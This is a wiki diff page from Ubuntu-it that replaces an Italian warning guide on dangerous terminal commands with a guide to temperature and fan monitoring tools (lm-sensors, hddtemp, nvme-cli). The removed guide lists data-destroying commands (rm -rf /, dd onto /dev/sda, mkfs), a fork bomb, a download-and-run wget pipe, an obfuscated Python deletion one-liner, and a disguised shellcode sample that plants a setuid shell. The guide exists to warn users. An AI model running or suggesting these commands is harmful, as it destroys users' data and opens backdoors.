Wiki Ubuntu-it

Indice
Partecipa
FAQ
Wiki Blog
------------------
Ubuntu-it.org
Forum
Chiedi
Chat
Cerca
Planet
  • Pagina non alterabile
  • Informazioni
  • Allegati
  • Differenze per "andreas-xavier/prova7"
Differenze tra le versioni 6 e 53 (in 47 versioni)
Versione 6 del 06/04/2017 11.41.36
Dimensione: 7659
Commento:
Versione 53 del 09/06/2023 15.25.13
Dimensione: 16819
Commento:
Le cancellazioni sono segnalate in questo modo. Le aggiunte sono segnalate in questo modo.
Linea 1: Linea 1:
## page was renamed from ComandiDannosi ## page was renamed from LmSensors
Linea 5: Linea 5:
<<Indice(width=2)>>
<<Informazioni(forum=http://forum.ubuntu-it.org/viewtopic.php?f=46&t=619925&p)>>
<<Include(NuoviStrumentiWiki/PaginaDiProva)>>
<<Indice>>
<<Informazioni(forum="http://forum.ubuntu-it.org/viewtopic.php?f=46&t=528977"; rilasci="22.04 20.04 18.04 16.04 14.04 12.04")>>
Linea 10: Linea 11:
A scopo puramente didattico e illustrativo, questa guida raccoglie una lista non esaustiva di comandi potenzialmente pericolosi.

Si raccomanda particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. <<BR>>Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]] (si consiglia comunque di scollegare eventuali periferiche di memoria condivise dai sistemi ''guest'' e ''host'').

||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">In caso di dubbi consultare le guide elencate nel paragrafo [[#risorse|Ulteriori Risorse]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]]. ||

||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Suggerire immotivatamente l'esecuzione di comandi pericolosi ad altri utenti nei [[http://www.ubuntu-it.org/supporto|canali di supporto]] comporta sanzioni da parte dei moderatori e degli amministratori, finanche il ban e l'esclusione permanente dell'account.''' ||

= Comandi da terminale =

<<Anchor(rm)>>
== Rimozione: rm ==

 * I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente: {{{
rm -rf /
rm -rf .
rm -rf *
}}}

 * Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «`.`», ovvero un punto) il comando {{{
rm -r .*
}}}
 potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore.

 * Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente: {{{
rm -r .[^.]*
}}}

<<Anchor(mkfs)>>
== Formattazione: mkfs ==

Il comando '''mkfs''' viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo [[https://it.wikipedia.org/wiki/File_system|filesystem]].

Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem `ext4`, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo `/dev/sda1`).

{{{
mkfs
mkfs.ext4
mkfs.ext4 /dev/sda1
}}}

<<Anchor(dd)>>
== Copia di blocchi di dati: dd ==

Utilizzando il comando '''dd''' con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]] e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'[[https://it.wikipedia.org/wiki/Master_boot_record|MBR]]).

Ad esempio, dove i parametri `if` e `of` rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione:
 * `dd if=/dev/zero of=/dev/sda`: riempie il dispositivo con una sequenza di zeri;
 * `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati);
 * `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati casuali.

<<Anchor(fork)>>
== Utilizzo sconsiderato di fork() ==

L'utilizzo del comando di sistema '''fork''' permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre.

Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono: {{{
:(){:|&};:
}}}
oppure (utilizzando il linguaggio di programmazione [[https://it.wikipedia.org/wiki/Perl|perl]]):{{{
fork while fork
}}}

<<Anchor(script)>>
== Esecuzione script ==

L'esecuzione di [[Programmazione/Script|script]] all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere pericolosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate.

Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico [[Programmazione/LinguaggioBash|script in bash]] «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{
wget http://sito_internet/prova.sh
sh ./prova.sh
}}} {{{
wget http://sito_internet/prova.sh -O- | sh
}}}

<<Anchor(sorgente)>>
= Compilazione codice sorgente =

È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti ritenute attendibili (ad esempio piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente, quali [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]] ecc.).

Un esempio di codice pericoloso è il seguente: {{{
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
}}}

Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], l'esempio precedente sembra in apparenza un codice affatto pericoloso, per quanto poco comprensibile. In realtà esegue il comando {{{
rm -rf ~ / &
}}}
che distrugge la cartella '''Home''' dell'utente che ha esegue il codice compilato.

= Archivi =
Alcuni [[AmministrazioneSistema/FormatiDiCompressione|archivi]] possono provocare spiacevoli inconvenienti e causare danni al sistema, come illustrato nel [[AmministrazioneSistema/FormatiDiCompressione#tar|paragrafo dedicato ai file `.tar`]].

= Altri esempi =
L'esecuzione del seguente comando in [[Programmazione/Python|Python]] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk: {{{
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
}}}
Infatti la sintassi `"sn!.sg!+"` sta ad indicare `rm -rf *`, comando a cui è dedicato il relativo [[#rm|paragrafo]].

<<Anchor(risorse)>>
Questa guida contiene una raccolta, non esaustiva, di strumenti per monitorare le temperature dei dispositivi hardware presenti proprio computer, nonché altri valori (tensioni, velocità delle ventole ecc.).

Le seguenti informazioni sono valide per Ubuntu e derivate, oltre che per le principali distribuzioni GNU/Linux.

{{{#!wiki note
Le informazioni e i sensori disponibili dipendono dal tipo di hardware in uso.}}}

= Informazioni generali =

Solitamente i sistemi GNU/Linux permettono di controllare e gestire ampiamente le risorse hardware, ragion per cui sono già presenti "''out of the box''" strumenti per visualizzare le temperature.

Nel dettaglio, la directory '''[[AmministrazioneSistema/Filesystem#A.2Fsys|/sys]]''' contiene moltissimi dati relativi al kernel, ai moduli e all'hardware. In particolare `/sys/class/thermal` è deputata alle informazioni riguardanti le temperature. Perciò è possibile consultare file quali:
 * `/sys/class/thermal/thermal_zone0/temp` contenente la temperatura della CPU, espressa in gradi Celsius tramite numeri interi divisibili per 100 (es: 36000 = 36°C)
 * `/sys/class/thermal/thermal_zone0/type` contenente il valore corrispondente alla zona in cui la temperatura è rilevata (un esempio tipico è il sensore termico '''acpitz''', situato accanto il socket della CPU)

Per semplificare e rendere facilmente consultabili queste informazioni, è possibile creare un semplice [[Programmazione/Script|script]] che contenga il seguente comando:{{{
paste <(cat /sys/class/thermal/thermal_zone*/type) <(cat /sys/class/thermal/thermal_zone*/temp) | column -s $'\t' -t | sed 's/\(.\)..$/.\1°C/'
}}}
L'output sarà simile al seguente:{{{
acpitz 38.0°C
acpitz . °C
acpitz 30.0°C
acpitz 32.0°C
acpitz 31.0°C
acpitz . °C
pch_skylake 36.5°C
iwlwifi_1 33.0°C
x86_pkg_temp 38.0°C
}}}

= Riga di comando =

== acpi ==

'''acpi''' è uno strumento per visualizzare lo stato della batteria e altre informazioni [[https://it.wikipedia.org/wiki/Advanced_Configuration_and_Power_Interface|ACPI]], in grado anche di mostrare le temperature del PC.

 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://acpi|acpi]].
 0. Per eseguire il programma digitare nel [[AmministrazioneSistema/Terminale|terminale]] il comando:{{{
acpi -t
}}}
 Il risultato sarà simile al seguente:{{{
Thermal 0: ok, 30.8 degrees C
Thermal 1: ok, 29.8 degrees C
}}}

== lm-sensors ==

'''lm-sensors''' è uno strumento più completo, in grado di mostrare temperatura della/e CPU, della MOBO, della GPU, la velocità di rotazione delle ventole e le tensioni di alimentazione dei componenti principali.

{{{#!wiki important
Negli anni ci sono state sporadiche segnalazioni di problemi causati da lm-sensors, fra cui presunti danni hardware a vecchie schede madri AM2RD790 e malfunzionamenti (reversibili) con display e/o schede video.<<BR>>
Tuttavia, nella stragrande maggioranza dei casi, occorre fare attenzione solamente alla parte relativa a I2C/SMBus, come indicato dal programma stesso.
<<BR>>
Per maggiori informazioni consultare la sezione TROUBLESHOOTING del file `README` disponibile sulla [[https://github.com/lm-sensors/lm-sensors/blob/master/README|pagina GitHub]] del progetto.
}}}

=== Installazione ===

 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://lm-sensors|lm-sensors]].
 0. Facoltativo: [[AmministrazioneSistema/InstallareProgrammi|installare]] in aggiunta il pacchetto [[apt://fancontrol|fancontrol]], per gestire le ventole secondo le istruzioni indicate in [[#ventole|questo paragrafo]].
 0. Digitare nel [[AmministrazioneSistema/Terminale|terminale]] il comando:{{{
sudo sensors-detect
}}}
 0. Seguendo le istruzioni a video, rispondere '''Yes''' alle domande che verranno proposte, ad esclusione della domanda riguardante '''I2C/SMBus''' alla quale si dovrà rispondere '''No'''.
 {{{#!wiki note
In caso di errore, è possibile ripetere la procedura e rispondere '''Yes''' alla domanda precedente.
 }}}
 0. Al termine della procedura, lo script restituirà un output simile al seguente:{{{
Driver `coretemp':
  * Chip `Intel digital thermal sensor' (confidence: 9)

To load everything that is needed, add this to /etc/modules:
#----cut here----
# Chip drivers
coretemp
#----cut here----
If you have some drivers built into your kernel, the list above will
contain too many modules. Skip the appropriate ones!

Do you want to add these lines automatically to /etc/modules? (yes/NO)
}}}
 Rispondere '''Yes''' anche a quest'ultima domanda, in modo che i moduli necessari vengano caricati al prossimo avvio del computer.
 0. Riavviare il PC.

Prima dell'ultimo passaggio, è possibile eseguire la procedura con alcune variazioni, fra cui:

 * '''Modulo drivetemp''': per aggiungere questo modulo al fine di visualizzare le temperature di HDD e SSD (utile per Ubuntu 22.04, in cui non è disponibile '''[[#hddtemp|hddtemp]]'''), digitare il comando:{{{
sudo modprobe -v drivetemp
}}}
 * '''Procedura senza riavvio''': qualora non fosse possibile riavviare il sistema, caricare tutti i moduli necessari (come suggerito anche da '''lm-sensors''') con il comando:{{{
/etc/init.d/kmod start
}}}
 oppure caricare singolarmente i moduli con il comando: {{{
sudo modprobe nome_modulo
}}}
 sostituendo `nome_modulo` con uno dei moduli visualizzati dopo il punto 5 della procedura. Ripetere il comando precedente per ognuno dei moduli indicati.

=== Utilizzo ===

Avviare il programma digitando il seguente comando: {{{
sensors}}}
 Il risultato sarà simile al seguente: {{{
k8temp-pci-00c3
Adapter: PCI adapter
Core0 Temp:
             +23°C
Core1 Temp:
             +19°C

it8716-isa-0290
Adapter: ISA adapter
VCore: +1.18 V (min = +0.00 V, max = +4.08 V)
VDDR: +3.25 V (min = +0.00 V, max = +4.08 V)
+3.3V: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM
+5V: +4.81 V (min = +0.00 V, max = +6.85 V)
+12V: +11.58 V (min = +0.00 V, max = +16.32 V)
in5: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM
in6: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM
5VSB: +4.84 V (min = +0.00 V, max = +6.85 V)
VBat: +2.94 V
fan1: 0 RPM (min = 0 RPM)
fan2: 0 RPM (min = 0 RPM)
fan3: 0 RPM (min = 0 RPM)
temp1: +30°C (low = -1°C, high = +127°C) sensor = diode
temp2: +30°C (low = -1°C, high = +127°C) sensor = thermistor
temp3: -7°C (low = -1°C, high = +127°C) sensor = thermistor
vid: +1.300 V

acpitz-virtual-0
Adapter: Virtual device
temp1: +49.0°C (crit = +95.0°C)

coretemp-isa-0000
Adapter: ISA adapter
Core 0: +59.0°C (crit = +100.0°C)

coretemp-isa-0001
Adapter: ISA adapter
Core 1: +57.0°C (crit = +100.0°C)
}}}

<<Anchor(hddtemp)>>
== hddtemp ==

È uno strumento per visualizzare le temperature di dischi rigidi e drive a stato solido SATA.

{{{#!wiki note
Poiché non mantenuto più da tempo, è stato rimosso dai repository di Ubuntu. Per maggiori informazioni consultare [[https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1002484|questa pagina]].
}}}

 0. Solo su Ubuntu 22.04 e successivi, digitare nel [[AmministrazioneSistema/Terminale|terminale]] il seguente comando:{{{
sudo add-apt-repository ppa:malcscott/ppa
}}}
 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://hddtemp|hddtemp]].

Per utilizzare il programma digitare il comando: {{{
sudo hddtemp /dev/sd?
}}}
L'output sarà simile al seguente: {{{
/dev/sda: WDC WD1600BEVT-22ZCT0: 42°C
/dev/sdb: MAXTOR STM3320820AS: S.M.A.R.T. not available
}}}

== nvme-cli ==

'''nvme-cli''' è uno strumento per gestire drive di tipo [[https://en.wikipedia.org/wiki/NVM_Express|NVMe]] su sistemi GNU/Linux.

 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://nvme-cli|nvme-cli]].
 0. Per identificare i drive presenti, digitare nel [[AmministrazioneSistema/Terminale|terminale]] il comando:{{{
sudo nvme list
}}}
 L'output mostrerà le informazioni relative al dispositivo (modello, numero seriale, spazio utilizzato ecc.). Prendere nota del valore nella colonna `Node`.
 0. Digitare il comando:{{{
sudo nvme smart-log /dev/nvme0n1 | grep temperature
}}}
 sostituendo `/dev/nvme0n1` se differente. L'output sarà simile al seguente:{{{
temperature : 34 C (308 Kelvin)
}}}

== HardInfo ==

Per l'installazione consultare il relativo [[#hardinfo|paragrafo]].

Per l'utilizzo del programma via terminale, digitare il comando:{{{
hardinfo -rma devices.so | grep -A 10 Sensors
}}}

{{{#!wiki note
A seconda delle periferiche presenti nel computer e/o della loro tipologia, potrebbe essere necessario utilizzare l'opzione di '''grep''' con un valore superiore a 10 (ad esempio 40, 50 ecc.).
}}}

= Interfaccia grafica =

{{{#!wiki tip
Diversi programmi con GUI per identificare le periferiche offrono anche la possibilità di visualizzarne le temperature. Consultare [[Hardware/Periferiche/IdentificarePeriferiche#Strumenti_con_interfaccia_grafica|questa guida]].
}}}

== Psensor ==

'''Psensor''' permette di monitorare, oltre alle temperature, altre informazioni quali la velocità delle ventole, carico di CPU/GPU ecc.

 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://psensor|psensor]].
 0. [[AmbienteGrafico/AvviareProgrammi|Avviare]] '''Psensor'''.
 0. Nella colonna '''Grafico''' spuntare i sensori che si desidera monitorare.
 0. Per altre configurazioni selezionare il menu '''''Psensor → Preferenze'''''.

== xensors ==

È un semplice programma in grado di visualizzare, in funzione di quali sensori sono presenti e attivati, valori quali temperatura o tensioni di CPU, scheda madre, schede di rete ecc.

[[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://xsensor|xsensor]].<<BR>>
Dopo l'installazione sarà possibile [[AmbienteGrafico/AvviareProgrammi|avviare]] il programma.


<<Anchor(hardinfo)>>
== HardInfo ==

'''!HardInfo''' è in grado di visualizzare numerose informazioni sull'hardware e sul sistema operativo, di elencare dispositivi connessi, di eseguire benchmarks ecc.

 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://psensor|psensor]].
 0. [[AmbienteGrafico/AvviareProgrammi|Avviare]] '''System profiler and benchmark'''.
 0. Per il monitoraggio delle temperature, nella scheda a sinistra selezionare '''Sensors''' all'interno della sezione '''Devices'''.

== Gnome Disks Utility ==

L'applicazione '''Dischi''' è in grado di visualizzare le temperature dei drive presenti all'interno del PC, se supportati. Per maggiori informazioni consultare la [[Hardware/DispositiviPartizioni/GnomeDiskUtility|guida dedicata]].

== Plugin, indicatori, widget ecc. ==

Molti [[AmbienteGrafico|ambienti desktop]] offrono vari strumenti per monitorare le temperature. Di seguito ne vengono citati alcuni.

 * '''GNOME''': sono disponibili diverse [[AmbienteGrafico/Gnome/Estensioni|estensioni]] ('''Freon''', '''Sensory Perception''', '''system-monitor''', '''Vitals''' ecc.). Cercare sul sito [[https://extensions.gnome.org|GNOME Extensions]] una compatibile con la versione di GNOME shell in uso.
 * '''KDE''': sono disponibili diverse applet per monitorare le temperature. Cercare su [[https://store.kde.org|questo sito]] una compatibile con la versione di Plasma in uso.
 * '''Xfce''': è possibile [[AmministrazioneSistema/InstallareProgrammi|installare]] il pacchetto [[apt://xfce4-sensors-plugin|xfce4-sensors-plugin]]. Fare riferimento alla [[http://goodies.xfce.org/projects/panel-plugins/xfce4-sensors-plugin|pagina ufficiale]] del progetto per maggiori informazioni.
 * '''MATE''': è possibile [[AmministrazioneSistema/InstallareProgrammi|installare]] il pacchetto [[apt://mate-sensors-applet |mate-sensors-applet ]]. Fare riferimento alla [[hhttps://github.com/mate-desktop/mate-sensors-applet|pagina GitHub]] del progetto per maggiori informazioni.
 * '''Cinnamon''': sono disponibili diverse applet ed estensioni per monitorare le temperature. Cercare su [[https://cinnamon-spices.linuxmint.com/|questo sito]].

== Conky ==

'''Conky''' è in grado di monitorare i sensori presenti sul proprio computer. Per maggiori informazioni consultare la [[AmbienteGrafico/Conky|guida dedicata]].

<<Anchor(ventole)>>
= Controllo delle ventole (20.04) =

Come prerequisito, occorre installare ''fancontrol'', come descritto in [[#Installazione|questo paragrafo]].

Per controllare le ventole e la scheda madre, digitare nel [[AmministrazioneSistema/Terminale|terminale]] il seguente comando: {{{
sudo pwmconfig
}}}

Le ventole verranno monitorate e sarà possibile modificarne la velocità. Nel caso in cui sia possibile il controllo totale, cioè fermare del tutto le ventole, è possibile creare un semplice script da lanciare all'avvio per un'ottimizzazione delle stesse.

{{{#!wiki important
L'arresto completo delle ventole può arrecare gravi danni all'hardware oppure, indirettamente, perdita di dati. Procedere con molta cautela.
}}}

 0. Creare con un [[Ufficio/EditorDiTesto|editor di testo]] e con i [[AmministrazioneSistema/PrivilegiDiAmministrazione|privilegi di amministrazione]] il file `/etc/init.d/fancontrol` e aggiungere le seguenti righe: {{{
#!/bin/sh
#!/bin/sh
#
# Fancontrol start script.
#

set -e

# Defaults
DAEMON=/usr/sbin/fancontrol
PIDFILE=/var/run/fancontrol-pid
PATH=/sbin:/bin:/usr/sbin:/usr/bin

test -f $DAEMON || exit 0

. /lib/lsb/init-functions


case "$1" in
       start)
               log_begin_msg "Starting fancontrol daemon..."
               start-stop-daemon --start -o -q -m -b -p $PIDFILE -x $DAEMON
               log_end_msg $?
               ;;
       stop)
               log_begin_msg "Stopping fancontrol daemon..."
               start-stop-daemon --stop -o -q -p $PIDFILE
               log_end_msg $?
               ;;
       force-reload|restart)
               sh $0 stop
               sh $0 start
               ;;
       *)
               log_success_msg "Usage: /etc/init.d/fancontrol {start|stop|restart|force-reload}"
               log_success_msg " start - starts system-wide fancontrol service"
               log_success_msg " stop - stops system-wide fancontrol service"
               log_success_msg " restart, force-reload - starts a new system-wide fancontrol service"
               exit 1
               ;;
esac

exit 0
}}}
 0. Rendere eseguibile lo script, digitando in un [[AmministrazioneSistema/Terminale|terminale]] il seguente comando:{{{
sudo chmod +x /etc/init.d/fancontrol
}}}

 0. Avviare lo script con il comando: {{{
/etc/init.d/fancontrol start
}}}

 Per interromperlo digitare il comando: {{{
/etc/init.d/fancontrol stop
}}}

 0. Se l'output non restituisce alcun errore, aprire il file `/etc/rc.local` con un [[Ufficio/EditorDiTesto|editor di testo]] e i [[AmministrazioneSistema/PrivilegiDiAmministrazione|privilegi di amministrazione]], quindi aggiungere la seguente riga: {{{
/etc/init.d/fancontrol start
}}}
 in modo da ottenere un codice simile al seguente:{{{
#!/bin/sh
#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.
/etc/init.d/fancontrol start
exit 0
}}}
Linea 120: Linea 346:
 * [[AmministrazioneSistema/Terminale|Terminale]]
 * [[AmministrazioneSistema/ComandiBase|Comandi di base]]
 * [[AmministrazioneSistema/Filesystem|Filesystem]]
 * [[AmministrazioneSistema/PulireUbuntu|Pulizia del sistema]]
 * [[http://www.chimerarevo.com/linux/comandi-terminale-non-eseguire-linux-180510/|Articolo su comandi pericolosi da terminale]]
 

## * [[http://www.lm-sensors.org|Sito ufficiale del progetto]]
 * [[https://github.com/lm-sensors/lm-sensors|GitHub lm-sensors]]
 * [[https://launchpad.net/lmsensors|Lm-sensors su Launchpad]]
 * [[http://doc.ubuntu-fr.org/lm-sensors|Lm-sensors su doc.ubuntu-fr.org]]
 * [[http://wiki.ubuntuusers.de/Lm_sensors|Lm-sensors su wiki.ubuntuusers.de]]
 * [[https://help.ubuntu.com/community/SensorInstallHowto|Lm-sensors sul wiki internazionale]]
 * [[Hardware/Periferiche/IdentificarePeriferiche|Identificare le periferiche]]
Linea 127: Linea 356:
CategoryAmministrazione ##CategoryHardware CategoryAmministrazion
Cat
egoryHomepage


Attenzione! Questa è una Pagina di prova. Le informazioni riportate potrebbero essere incomplete, errate e potenzialmente pericolose. Per contribuire alla realizzazione di questa pagina consultare la discussione di riferimento.

Guida verificata con Ubuntu: 20.04 22.04

Problemi in questa pagina? Segnalali in questa discussione

Introduzione

Questa guida contiene una raccolta, non esaustiva, di strumenti per monitorare le temperature dei dispositivi hardware presenti proprio computer, nonché altri valori (tensioni, velocità delle ventole ecc.).

Le seguenti informazioni sono valide per Ubuntu e derivate, oltre che per le principali distribuzioni GNU/Linux.

Le informazioni e i sensori disponibili dipendono dal tipo di hardware in uso.

Informazioni generali

Solitamente i sistemi GNU/Linux permettono di controllare e gestire ampiamente le risorse hardware, ragion per cui sono già presenti "out of the box" strumenti per visualizzare le temperature.

Nel dettaglio, la directory /sys contiene moltissimi dati relativi al kernel, ai moduli e all'hardware. In particolare /sys/class/thermal è deputata alle informazioni riguardanti le temperature. Perciò è possibile consultare file quali:

  • /sys/class/thermal/thermal_zone0/temp contenente la temperatura della CPU, espressa in gradi Celsius tramite numeri interi divisibili per 100 (es: 36000 = 36°C)

  • /sys/class/thermal/thermal_zone0/type contenente il valore corrispondente alla zona in cui la temperatura è rilevata (un esempio tipico è il sensore termico acpitz, situato accanto il socket della CPU)

Per semplificare e rendere facilmente consultabili queste informazioni, è possibile creare un semplice script che contenga il seguente comando:

paste <(cat /sys/class/thermal/thermal_zone*/type) <(cat /sys/class/thermal/thermal_zone*/temp) | column -s $'\t' -t | sed 's/\(.\)..$/.\1°C/'

L'output sarà simile al seguente:

acpitz        38.0°C
acpitz      . °C
acpitz        30.0°C
acpitz        32.0°C
acpitz        31.0°C
acpitz      . °C
pch_skylake   36.5°C
iwlwifi_1     33.0°C
x86_pkg_temp  38.0°C

Riga di comando

acpi

acpi è uno strumento per visualizzare lo stato della batteria e altre informazioni ACPI, in grado anche di mostrare le temperature del PC.

  1. Installare il pacchetto acpi.

  2. Per eseguire il programma digitare nel terminale il comando:

    acpi -t

    Il risultato sarà simile al seguente:

    Thermal 0: ok, 30.8 degrees C
    Thermal 1: ok, 29.8 degrees C

lm-sensors

lm-sensors è uno strumento più completo, in grado di mostrare temperatura della/e CPU, della MOBO, della GPU, la velocità di rotazione delle ventole e le tensioni di alimentazione dei componenti principali.

Negli anni ci sono state sporadiche segnalazioni di problemi causati da lm-sensors, fra cui presunti danni hardware a vecchie schede madri AM2RD790 e malfunzionamenti (reversibili) con display e/o schede video.
Tuttavia, nella stragrande maggioranza dei casi, occorre fare attenzione solamente alla parte relativa a I2C/SMBus, come indicato dal programma stesso.
Per maggiori informazioni consultare la sezione TROUBLESHOOTING del file README disponibile sulla pagina GitHub del progetto.

Installazione

  1. Installare il pacchetto lm-sensors.

  2. Facoltativo: installare in aggiunta il pacchetto fancontrol, per gestire le ventole secondo le istruzioni indicate in questo paragrafo.

  3. Digitare nel terminale il comando:

    sudo sensors-detect
  4. Seguendo le istruzioni a video, rispondere Yes alle domande che verranno proposte, ad esclusione della domanda riguardante I2C/SMBus alla quale si dovrà rispondere No.

    In caso di errore, è possibile ripetere la procedura e rispondere Yes alla domanda precedente.

  5. Al termine della procedura, lo script restituirà un output simile al seguente:

    Driver `coretemp':
      * Chip `Intel digital thermal sensor' (confidence: 9)
    
    To load everything that is needed, add this to /etc/modules:
    #----cut here----
    # Chip drivers
    coretemp
    #----cut here----
    If you have some drivers built into your kernel, the list above will
    contain too many modules. Skip the appropriate ones!
    
    Do you want to add these lines automatically to /etc/modules? (yes/NO)

    Rispondere Yes anche a quest'ultima domanda, in modo che i moduli necessari vengano caricati al prossimo avvio del computer.

  6. Riavviare il PC.

Prima dell'ultimo passaggio, è possibile eseguire la procedura con alcune variazioni, fra cui:

  • Modulo drivetemp: per aggiungere questo modulo al fine di visualizzare le temperature di HDD e SSD (utile per Ubuntu 22.04, in cui non è disponibile hddtemp), digitare il comando:

    sudo modprobe -v drivetemp
  • Procedura senza riavvio: qualora non fosse possibile riavviare il sistema, caricare tutti i moduli necessari (come suggerito anche da lm-sensors) con il comando:

    /etc/init.d/kmod start

    oppure caricare singolarmente i moduli con il comando:

    sudo modprobe nome_modulo

    sostituendo nome_modulo con uno dei moduli visualizzati dopo il punto 5 della procedura. Ripetere il comando precedente per ognuno dei moduli indicati.

Utilizzo

Avviare il programma digitando il seguente comando:

sensors
  • Il risultato sarà simile al seguente:

    k8temp-pci-00c3
    Adapter: PCI adapter
    Core0 Temp:
                 +23°C
    Core1 Temp:
                 +19°C
    
    it8716-isa-0290
    Adapter: ISA adapter
    VCore:     +1.18 V  (min =  +0.00 V, max =  +4.08 V)   
    VDDR:      +3.25 V  (min =  +0.00 V, max =  +4.08 V)   
    +3.3V:     +0.00 V  (min =  +0.00 V, max =  +4.08 V)   ALARM
    +5V:       +4.81 V  (min =  +0.00 V, max =  +6.85 V)   
    +12V:     +11.58 V  (min =  +0.00 V, max = +16.32 V)   
    in5:       +0.00 V  (min =  +0.00 V, max =  +4.08 V)   ALARM
    in6:       +0.00 V  (min =  +0.00 V, max =  +4.08 V)   ALARM
    5VSB:      +4.84 V  (min =  +0.00 V, max =  +6.85 V)   
    VBat:      +2.94 V
    fan1:        0 RPM  (min =    0 RPM)                   
    fan2:        0 RPM  (min =    0 RPM)                   
    fan3:        0 RPM  (min =    0 RPM)                   
    temp1:       +30°C  (low  =    -1°C, high =  +127°C)   sensor = diode   
    temp2:       +30°C  (low  =    -1°C, high =  +127°C)   sensor = thermistor   
    temp3:        -7°C  (low  =    -1°C, high =  +127°C)   sensor = thermistor   
    vid:      +1.300 V
    
    acpitz-virtual-0
    Adapter: Virtual device
    temp1:       +49.0°C  (crit = +95.0°C)                  
    
    coretemp-isa-0000
    Adapter: ISA adapter
    Core 0:      +59.0°C  (crit = +100.0°C)                  
    
    coretemp-isa-0001
    Adapter: ISA adapter
    Core 1:      +57.0°C  (crit = +100.0°C)

hddtemp

È uno strumento per visualizzare le temperature di dischi rigidi e drive a stato solido SATA.

Poiché non mantenuto più da tempo, è stato rimosso dai repository di Ubuntu. Per maggiori informazioni consultare questa pagina.

  1. Solo su Ubuntu 22.04 e successivi, digitare nel terminale il seguente comando:

    sudo add-apt-repository ppa:malcscott/ppa
  2. Installare il pacchetto hddtemp.

Per utilizzare il programma digitare il comando:

sudo hddtemp /dev/sd?

L'output sarà simile al seguente:

/dev/sda: WDC WD1600BEVT-22ZCT0: 42°C
/dev/sdb: MAXTOR STM3320820AS: S.M.A.R.T. not available

nvme-cli

nvme-cli è uno strumento per gestire drive di tipo NVMe su sistemi GNU/Linux.

  1. Installare il pacchetto nvme-cli.

  2. Per identificare i drive presenti, digitare nel terminale il comando:

    sudo nvme list

    L'output mostrerà le informazioni relative al dispositivo (modello, numero seriale, spazio utilizzato ecc.). Prendere nota del valore nella colonna Node.

  3. Digitare il comando:

    sudo nvme smart-log /dev/nvme0n1 | grep temperature

